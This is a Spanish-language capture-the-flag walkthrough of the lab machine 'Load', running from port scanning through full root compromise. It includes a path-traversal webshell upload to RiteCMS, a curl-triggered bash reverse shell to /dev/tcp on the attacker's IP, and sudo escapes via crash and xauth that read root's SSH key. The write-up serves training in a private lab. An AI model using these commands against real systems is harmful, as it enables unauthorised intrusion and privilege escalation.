VulNyx - Load

logo

  • RiteCMS 3.1.0 - Remote Code Execution (Authenticated)
  • Abusing Crash Binary - Sudo Pivoting
  • Abusing Xauth Binary - Sudo Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.14

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.14

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/ritedev/
|_http-server-header: Apache/2.4.57 (Debian)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

Vulnyx/load/ww

En el escaneo de servicios puedo ver el archivo robots.txt, dentro contiene la siguiente ruta /ritedev. Si navego a la nueva ruta veo RiteCMS y la versión v3.0.

ritecms

Antes de buscar algún exploit realizo fuerza bruta de extensiones.

❯ gobuster dir -u http://192.168.1.14/ritedev/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.14/ritedev/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 277]
/media                (Status: 301) [Size: 320] [--> http://192.168.1.14/ritedev/media/]
/templates            (Status: 301) [Size: 324] [--> http://192.168.1.14/ritedev/templates/]
/files                (Status: 301) [Size: 320] [--> http://192.168.1.14/ritedev/files/]
/data                 (Status: 301) [Size: 319] [--> http://192.168.1.14/ritedev/data/]
/admin.php            (Status: 200) [Size: 1098]
/cms                  (Status: 301) [Size: 318] [--> http://192.168.1.14/ritedev/cms/]
/.php                 (Status: 403) [Size: 277]

Navego hacia /admin.php y veo un panel de login.

login

Consigo acceder al panel usando credenciales por defecto admin:admin.

panelAdmin

Si busco en internet RiteCMS 3.0 exploit encuentro este exploit, en la descripción explica varios métodos para subir una shell.

exploitdb

Me voy a ADMINISTRATION y hago click en Files Manager.

administration

Entro en Upload file.

adminFiles

Doy click en examinar y selecciono cmd.php.

uFile

Intercepto la petición con BurpSuite y en el apartado Content-Disposition: file_name añado ../shell.php, manipulando este apartado se subirá el archivo renombrado al directorio raíz de la web ya que el directorio raíz si interpreta código php.

burpsuite

Obtengo ejecución remota de comandos como usuario www-data.

rce

Uso curl para mandarme la shell.

❯ curl 'http://192.168.1.14/ritedev/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.13%2F1337%200%3E%261%27'

Obtengo la shell

❯ nc -lvp 1337
listening on [any] 1337 ...
connect to [192.168.1.13] from load.nyx [192.168.1.14] 36744
bash: cannot set terminal process group (515): Inappropriate ioctl for device
bash: no job control in this shell
www-data@load:/var/www/html/ritedev$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@load:/var/www/html/ritedev$ 

Después de hacer el tratamiento para la tty enumero permisos de sudo.

sudoL

La herramienta gtfobinscli.py me muestra la forma de pasar de usuario www-data a travis.

gtfobins

Sigo los pasos y lanzo el binario crash como usuario travis con la flag -h.

www-data@load:/var/www/html/ritedev$ sudo -u travis /usr/bin/crash -h

Se abre esta ventana y escribo !bash.

pivoting

Consigo una shell como usuario travis.

travis

Enumero de nuevo permisos de sudo.

sudoL2

Lanzo el binario xauth y seguidamente escribo ? para ver los comandos disponibles.

xauth

Con source consigo leer la llave rsa del usuario root.

xauthrsa

Guardo la llave rsa como id_rsa_root.

idrsaroot

Obtengo el root usando la llave rsa.

root

Y aquí termina la máquina Load.

Saludos!